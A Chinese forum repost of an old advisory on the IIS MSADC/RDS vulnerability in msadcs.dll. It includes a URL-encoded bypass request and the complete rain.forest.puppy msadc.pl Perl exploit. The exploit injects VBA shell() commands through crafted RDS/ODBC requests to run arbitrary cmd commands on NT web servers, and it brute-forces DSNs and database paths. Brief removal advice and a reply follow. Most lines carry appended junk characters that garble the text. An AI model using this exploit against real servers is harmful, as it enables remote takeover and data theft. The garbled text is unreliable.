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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) X'F$K!o*,:  
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涉及程序: vSL{WT]m  
Microsoft NT server h/VYH(Tj  
CFA>  
描述: R"=M5  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 |V7a26h  
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详细: 0z xeA +U  
如果你没有时间读详细内容的话,就删除: MtB:H*pM  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 1lQ1 0J  
有关的安全问题就没有了。 b>(l F%M  
Dm^kuTIG  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 f:0n-me  
n%0vQ;Z1  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 _t[%@G>P  
关于利用ODBC远程漏洞的描述,请参看: !Yf0y;e|:  
l85" C  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 0cbF.Um8  
v%- V|L  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 !{XO#e  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp iTvCkb48m  
n 3]y$wK  
这里不再论述。 Ol@ZH_  
U Oo(7  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: &Os Ritj  
1GdgF?4  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ,'6GG+  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! q'r3a+  
K\ ]r  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" D-!%L<<  
zK92:+^C   
#!perl BkeP?X  
# F"C Yrt  
# MSADC/RDS 'usage' (aka exploit) script el%Qxak`"  
# sJlKN  
# by rain.forest.puppy A%O#S<sa  
# E=QQZ\w  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me (Vv]:Y]  
# beta test and find errors! Ei<:=6EX?8  
*S4P'JSY  
use Socket; use Getopt::Std; &$Lm95  
getopts("e:vd:h:XR", \%args); iT"Itz-^#  
*)1z-rH`  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; J#]y KgT  
*2MTx   
if (!defined $args{h} && !defined $args{R}) { w1b <>A?87  
print qq~ 2Qj)@&zKe#  
Usage: msadc.pl -h <host> { -d <delay> -X -v } \#r_H9&s6  
-h <host> = host you want to scan (ip or domain) `ahXn  
-d <seconds> = delay between calls, default 1 second {;/o4[jlg  
-X = dump Index Server path table, if available )]R?v,9*D  
-v = verbose tK H!xit  
-e = external dictionary file for step 5 Zv\b`Cf}  
WGx>{'LJ  
Or a -R will resume a command session #w@Pa L iS  
aB)DX  
~; exit;} Z(eSnV_RL  
NZ5~\k  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ~4<3`l=A  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} sCl,]g0{  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} "tARJW  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); m~eWQ_a]C@  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Biy 9jIWI  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } bg}77Y'^  
*% *^a\2  
if (!defined $args{R}){ $ret = &has_msadc; R.T-Ptene  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} $ZO<8|bW  
vBx^zDe  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" =;=V4nKN  
. "cmd /c "; EYG E#C; d  
$in=<STDIN>; chomp $in; #^ #i]{g  
$command="cmd /c " . $in ; Zto E= 7K  
Rp*t"HSaAW  
if (defined $args{R}) {&load; exit;} ~S!kn1&O  
BkfBFUDQ  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; !e `=UZe1  
&try_btcustmr; Hrnql  
j.}V~Sp*  
print "\nStep 2: Trying to make our own DSN..."; Nk4_!  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; UD`Z;F  
|/;5|  z  
print "\nStep 3: Trying known DSNs..."; 4?& a?*M  
&known_dsn; M3 u8NRd5|  
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print "\nStep 4: Trying known .mdbs..."; 4/WCs$  
&known_mdb; QB,ad   
2v1&%x:y#  
if (defined $args{e}){ -Wk"o?} q  
print "\nStep 5: Trying dictionary of DSN names..."; V2%wb\_z  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } qEr[fC@x  
[i1D~rCcn  
print "Sorry Charley...maybe next time?\n"; MA# !<b('  
exit; sLp LY1X  
rC `s;w  
############################################################################## oJT@'{;*z  
B [ ka@z7  
sub sendraw { # ripped and modded from whisker s.)w A`&&  
sleep($delay); # it's a DoS on the server! At least on mine... T+h{Aeg  
my ($pstr)=@_; FF~4y>R7u  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || y03a\K5[KQ  
die("Socket problems\n"); O Zm[i H  
if(connect(S,pack "SnA4x8",2,80,$target)){ D  .R  
select(S); $|=1; s'Gy+h.  
print $pstr; my @in=<S>; }{oBKm9_p  
select(STDOUT); close(S); _PXo'*j  
return @in; guXpHF=  
} else { die("Can't connect...\n"); }} {OrE1WHB  
RsfT Ub)<  
############################################################################## 5udoZ >T  
F$ p*G][  
sub make_header { # make the HTTP request z.HNb$;  
my $msadc=<<EOT _ D}b  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 RpP[ymMZJ  
User-Agent: ACTIVEDATA K0=E4>z,`q  
Host: $ip F)ld@Ydk=  
Content-Length: $clen mm<iT59  
Connection: Keep-Alive 'TsZuZW]  
H)aC'M^  
ADCClientVersion:01.06 kGV`Q  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 -xIhN?r)  
< DZ76  
--!ADM!ROX!YOUR!WORLD! EoR6Rx@Z  
Content-Type: application/x-varg 4 S9, tc&  
Content-Length: $reqlen ,nRwwFd.  
l]y%cJ~$'D  
EOT aB6LAb2z;T  
; $msadc=~s/\n/\r\n/g; GSnHxs)  
return $msadc;} v^_]W3K  
bvS\P!m\c  
############################################################################## C,vc aC?  
7d8qs%nA  
sub make_req { # make the RDS request S{7ik,Gdg  
my ($switch, $p1, $p2)=@_; 6x,=SW@4  
my $req=""; my $t1, $t2, $query, $dsn; >1pH 91c'  
={@ @`yP^$  
if ($switch==1){ # this is the btcustmr.mdb query 6Ok=q:;  
$query="Select * from Customers where City=" . make_shell(); :wmf{c  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Y6? mY!  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} SSbK[aR  
T4Gw\Z%  
elsif ($switch==2){ # this is general make table query 4qXRDsbCf  
$query="create table AZZ (B int, C varchar(10))"; '=G Ce%A  
$dsn="$p1";} cYy @  
A<CXdt+t  
elsif ($switch==3){ # this is general exploit table query x&oBO{LNK,  
$query="select * from AZZ where C=" . make_shell(); ^_h7!=W  
$dsn="$p1";} wK`ieHmp  
R6Z}/m  
elsif ($switch==4){ # attempt to hork file info from index server  Is6 _  
$query="select path from scope()"; J K]tcP  
$dsn="Provider=MSIDXS;";} 7oLf5V1~  
$RNUr \9A  
elsif ($switch==5){ # bad query o ]jP3 $t;  
$query="select"; UMi`u6#  
$dsn="$p1";} gIM'bA<~  
9.OwH(Ax7  
$t1= make_unicode($query); jy@i(@Z  
$t2= make_unicode($dsn); G$|;~'E  
$req = "\x02\x00\x03\x00"; J}_Dpb[L  
$req.= "\x08\x00" . pack ("S1", length($t1)); ,3- -ERf  
$req.= "\x00\x00" . $t1 ; ,!%R5*?=D  
$req.= "\x08\x00" . pack ("S1", length($t2)); 8Y~=\(5>  
$req.= "\x00\x00" . $t2 ; AD%D ,l  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; #iU8hUbo  
return $req;} JrWBcp:Y  
jo3}]KC !  
############################################################################## pH l2!{z  
I&fh  
sub make_shell { # this makes the shell() statement zM r!WoW  
return "'|shell(\"$command\")|'";} /j69NEl  
l(w vQO  
############################################################################## 4zfRD`;  
aGk%I  
sub make_unicode { # quick little function to convert to unicode U;Ll.BFP  
my ($in)=@_; my $out; grxl{uIC8  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } P:, x?T?J^  
return $out;} T\ }v$A03  
@?7{%j*  
############################################################################## oSA*~N:  
b801O F  
sub rdo_success { # checks for RDO return success (this is kludge) LUDJPIk  
my (@in) = @_; my $base=content_start(@in); |~b R.IA  
if($in[$base]=~/multipart\/mixed/){ DMcxa.Sd!  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} [kuVQ$)  
return 0;} YyJ{  
.F$|j1y  
############################################################################## 87pXv6'FQ  
!MJe+.  
sub make_dsn { # this makes a DSN for us ,Lun-aMd  
my @drives=("c","d","e","f"); L}jF#*Q%  
print "\nMaking DSN: "; vG<pc_ak  
foreach $drive (@drives) { ?9gTk \s?R  
print "$drive: "; |!?WQ[  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . s\C8t0C  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" it\DZGsg  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); D_n}p8blT  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; :IR9=nhS]  
return 0 if $2 eq "404"; # not found/doesn't exist $S=~YzO  
if($2 eq "200") { d=Df.H+3  
foreach $line (@results) { jWK@NXMH  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ?cs]#6^  
} return 0;} !H1tBg]5  
rx6-~0!eI=  
############################################################################## E R]sDV  
BF@5&>E  
sub verify_exists { {s8U7rmML  
my ($page)=@_; f7Df %&d  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 4d e]?#=  
return $results[0];} ]Q4PbW  
WfDX"rA  
############################################################################## M,t*nG  
I!@s6tG  
sub try_btcustmr { "\/^/vn?  
my @drives=("c","d","e","f"); _))I.c=v  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Gh2Q$w:  
@ <OO  
foreach $dir (@dirs) { H\| ]!8w5Z  
print "$dir -> "; # fun status so you can see progress hY=w|b=Y  
foreach $drive (@drives) { Rj} o4s2x  
print "$drive: "; # ditto *m$PH"  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; MZ5Y\-nq\  
$reqlenlen=length( "$reqlen" ); 6 tc:A5mK  
$clen= 206 + $reqlenlen + $reqlen; -!|WZ   
:GQIlA8cF$  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Jh43)#G-  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} zRV!(Y  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} bbNU\r5%  
]dHB}  
############################################################################## &v$,pg%-:  
Lvi[*une|  
sub odbc_error { ^IVe[P'  
my (@in)=@_; my $base; ;n} >C' :  
my $base = content_start(@in); (rr}Pv%yb  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Ts(t:^  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; j1puB  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; -Aa]aDAz68  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; zUs~V`0  
return $in[$base+4].$in[$base+5].$in[$base+6];} `k(u:yGK  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; OQ(D5GR:4  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . o#xgrMB  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} LZM,QQ  
!8Z2X!$m{<  
############################################################################## }3f BY@  
hhpv\1h#  
sub verbose { &:c:9w  
my ($in)=@_; #M5_em4kN  
return if !$verbose; OGJ=VQA  
print STDOUT "\n$in\n";} Y5ogi )  
iW|s|1mh3  
############################################################################## ge0's+E+1  
K8 b+   
sub save { ?&znUoB  
my ($p1, $p2, $p3, $p4)=@_; ,Z>wbMJig  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; e=t<H"&  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; P_p6GT:5  
close OUT;} Ys-Keyg  
?fK^&6pI  
############################################################################## FXx.$W  
q*6q}s3n  
sub load { G HD^%)T5^  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; %won=TG8  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); $ph0ag+  
@p=<IN>; close(IN); [kbC'Eh*  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); -IBO5;2_  
$target= inet_aton($ip) || die("inet_aton problems"); x*.Ye 5Jb  
print "Resuming to $ip ..."; Yd' H+r5b  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; [E>R.Oe  
if($p[1]==1) { fO].e"}  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; TH|?X0b  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; +}Xr1fr{jw  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); u]HS(B,ht  
if (rdo_success(@results)){print "Success!\n";} wms1IV%;  
else { print "failed\n"; verbose(odbc_error(@results));}} &Hv;<  
elsif ($p[1]==3){ u(W^Nou/+  
if(run_query("$p[3]")){ xXF2"+  
print "Success!\n";} else { print "failed\n"; }} Hu[]h]  
elsif ($p[1]==4){ ]Ap`   
if(run_query($drvst . "$p[3]")){ FbveI4  
print "Success!\n"; } else { print "failed\n"; }} Qi_&aU$>lM  
exit;} q"S(7xWS  
MDk*j,5V  
############################################################################## Cz_AJ-WR  
AzZJG v ]H  
sub create_table { R1}IeeZO?&  
my ($in)=@_; Vu}806kB  
$reqlen=length( make_req(2,$in,"") ) - 28; B={/nC}G~  
$reqlenlen=length( "$reqlen" ); 5O&d3;p'  
$clen= 206 + $reqlenlen + $reqlen; t\8&*(&3F  
my @results=sendraw(make_header() . make_req(2,$in,"")); NS@{~;#R  
return 1 if rdo_success(@results); *vYn_wE  
my $temp= odbc_error(@results); verbose($temp); 2B^~/T<\  
return 1 if $temp=~/Table 'AZZ' already exists/; u+i(";\  
return 0;} [[w2p  
?w*yW;V`  
############################################################################## d/S+(<g  
> @+#  
sub known_dsn { !i^]UN   
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go B| tzF0;c  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", V$(/0mQV(  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", -ui< E?v  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 6UlF5pom  
H d*}k6  
foreach $dSn (@dsns) { B oqJ   
print "."; hT'=VN  
next if (!is_access("DSN=$dSn")); X8b|]Nr  
if(create_table("DSN=$dSn")){ If;R?j0;Q  
print "$dSn successful\n"; '.Z4 hHX  
if(run_query("DSN=$dSn")){ 1* ^'\W.  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { t,h{+lYU  
print "Something's borked. Use verbose next time\n";}}} print "\n";} rgqQxe=  
:I \9YzSs@  
############################################################################## U]1(&MgV  
%&+TbDE+T  
sub is_access { ;#&fgj  
my ($in)=@_; {oUAP1V^  
$reqlen=length( make_req(5,$in,"") ) - 28; j)Y[4 ^k^  
$reqlenlen=length( "$reqlen" ); Z19m@vMsIP  
$clen= 206 + $reqlenlen + $reqlen; 44HiTWQS?l  
my @results=sendraw(make_header() . make_req(5,$in,""));  W8]V  
my $temp= odbc_error(@results); f@@s1gdb  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); pjw aL^  
return 0;} &Jy)U  
|TTS?  
############################################################################## 02\JzBU  
__I/F6{ 9V  
sub run_query { ;Lo&}U3F,!  
my ($in)=@_; zE|Wn3_sd  
$reqlen=length( make_req(3,$in,"") ) - 28; zN{JJ3-  
$reqlenlen=length( "$reqlen" ); XV>&F{  
$clen= 206 + $reqlenlen + $reqlen; nX^1$')gp  
my @results=sendraw(make_header() . make_req(3,$in,"")); aXY -><  
return 1 if rdo_success(@results); 3A,rHYS  
my $temp= odbc_error(@results); verbose($temp); k1='c7s  
return 0;} 33K*qaRAD  
l-Nly>~  
############################################################################## {2 %aCCV  
T6M+|"92  
sub known_mdb { r-IT(DzkD  
my @drives=("c","d","e","f","g"); #yW\5)  
my @dirs=("winnt","winnt35","winnt351","win","windows"); lA^+Flh  
my $dir, $drive, $mdb; 1A<,TFg  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; jb[!E^'&>  
aWy]9F&C:  
# this is sparse, because I don't know of many SDYv(^ f ,  
my @sysmdbs=( "\\catroot\\icatalog.mdb", mC[UXN/  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", h}L}[   
"\\system32\\certmdb.mdb", rwE%G>Vb  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% /6+NU^  
|Au]1}  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", U@F)2?  
"\\cfusion\\cfapps\\forums\\forums_.mdb", x\\~SGd  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", l=}~v  
"\\cfusion\\cfapps\\security\\realm_.mdb", 6#e::GD  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 8K"+,s(%R  
"\\cfusion\\database\\cfexamples.mdb", e]Fp=*#  
"\\cfusion\\database\\cfsnippets.mdb", |=dC )Azs  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 'h1b1,b~  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", %rkk>m  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ihCIh6  
"\\cfusion\\database\\smpolicy.mdb", MJ{%4S{K,p  
"\\cfusion\\database\cypress.mdb", $s5a G)?7  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", >[10H8~bI/  
"\\website\\cgi-win\\dbsample.mdb", "xJ0 vlw  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", OJAIaC\  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" \e3`/D  
); #these are just u3 0s_\  
foreach $drive (@drives) { MV>$BW  
foreach $dir (@dirs){ ;gg\;i}^  
foreach $mdb (@sysmdbs) { >rsqH+oL  
print "."; e8=YGx^o`  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ _<c$)1  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; @`36ku  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ _+l1 b"^s1  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; LOy0hN-$b  
} else { print "Something's borked. Use verbose next time\n"; }}}}} eYX5(`c[  
~]C%/gEh  
foreach $drive (@drives) { cD|Htt"  
foreach $mdb (@mdbs) { <[:o !$  
print "."; k^"bLf(4  
if(create_table($drv . $drive . $dir . $mdb)){ cTTW06^  
print "\n" . $drive . $dir . $mdb . " successful\n"; 4QOEw-~w&s  
if(run_query($drv . $drive . $dir . $mdb)){ Z6p5* +  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; jnB~sbyA  
} else { print "Something's borked. Use verbose next time\n"; }}}} $Xm6N@  
} _5 ^I.5Z3  
5q9s,r_  
############################################################################## 3DgsI7-F  
YKmsQ(q`N  
sub hork_idx { z!;1i[|x  
print "\nAttempting to dump Index Server tables...\n"; yXI >I  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; v3d&*I  
$reqlen=length( make_req(4,"","") ) - 28; za Tb~#c_  
$reqlenlen=length( "$reqlen" ); zmj"fN{\  
$clen= 206 + $reqlenlen + $reqlen; =@2FX&&E_  
my @results=sendraw2(make_header() . make_req(4,"","")); )SryDRT  
if (rdo_success(@results)){ [r+ZE7$2b"  
my $max=@results; my $c; my %d; OU5*9_7.  
for($c=19; $c<$max; $c++){ m7EcnQf  
$results[$c]=~s/\x00//g; WQ yLf;!Lz  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; H{J'# 9H  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; GdV1^`M6  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; nJ4pTOc  
$d{"$1$2"}="";} 98=wnWX 6$  
foreach $c (keys %d){ print "$c\n"; } ,p(<+6QZ  
} else {print "Index server doesn't seem to be installed.\n"; }} 2(5ebe[  
N7E$G{TT  
############################################################################## )i+2X5B`S  
8-<:i  
sub dsn_dict { qC F5~;7  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); wtje(z5IL  
while(<IN>){ @(r /dZc  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; L "sO+4w  
next if (!is_access("DSN=$dSn")); *m?/O} R  
if(create_table("DSN=$dSn")){ 4pw6bK,s2\  
print "$dSn successful\n"; dy_:-2S  
if(run_query("DSN=$dSn")){ vfVj=DYj  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { F:x [  
print "Something's borked. Use verbose next time\n";}}} #o1=:PQaC  
print "\n"; close(IN);} H":oNpfb  
>EY3/Go>  
############################################################################## J!5$,%v  
mI74x3 [  
sub sendraw2 { # ripped and modded from whisker I? ,>DHUX  
sleep($delay); # it's a DoS on the server! At least on mine... x.S3Zi}=  
my ($pstr)=@_; p K0"%eA  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ZP{*.]Qu  
die("Socket problems\n"); bhniB@<  
if(connect(S,pack "SnA4x8",2,80,$target)){ 5\z `-)  
print "Connected. Getting data"; 1GzAG;UUo6  
open(OUT,">raw.out"); my @in; -Uml_/rd_  
select(S); $|=1; print $pstr; Gz .|]:1  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 2}8v(%s p  
close(OUT); select(STDOUT); close(S); return @in; F$)[kP,wtO  
} else { die("Can't connect...\n"); }} G^ :C+/)  
O%bEB g  
############################################################################## p, #o<W  
B_.%i+ZZ  
sub content_start { # this will take in the server headers #\=FO>  
my (@in)=@_; my $c; F w?[lS  
for ($c=1;$c<500;$c++) { Dh=9Gns9  
if($in[$c] =~/^\x0d\x0a/){ \-g)T}g,I  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } WlU0:(d  
else { return $c+1; }}} VVlr*`  
return -1;} # it should never get here actually z4N*b"QF  
kGl~GOB a  
############################################################################## .[_L=_.  
Hj}K{20  
sub funky { 5 sX+~Q  
my (@in)=@_; my $error=odbc_error(@in); X(NLtO w  
if($error=~/ADO could not find the specified provider/){ r]6C  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; |:gf lseE  
exit;} OGl}-kw  
if($error=~/A Handler is required/){ m;,N)<~  
print "\nServer has custom handler filters (they most likely are patched)\n"; +U3DG$  
exit;} 7j-4TY~  
if($error=~/specified Handler has denied Access/){ {tWf  
print "\nServer has custom handler filters (they most likely are patched)\n"; ^~etm  
exit;}} ')cMiX\v  
> ;*b|Ik  
############################################################################## y+NN< EY@  
`x*Pof!Io  
sub has_msadc { [TmIVQ!B  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); c24dSNJg,  
my $base=content_start(@results); vw9@v`k  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); M!o##* *`  
return 0;} a^I\ /&aw'  
'd9INz.  
######################## %#kg#@z_`e  
t7aefV&_,  
 tVN  
解决方案: "]} bFO7C  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll oG_~q w|h  
2、移除web 目录: /msadc
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学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 rC^WPW  
s Z].8.  
拿出来充数 哈哈
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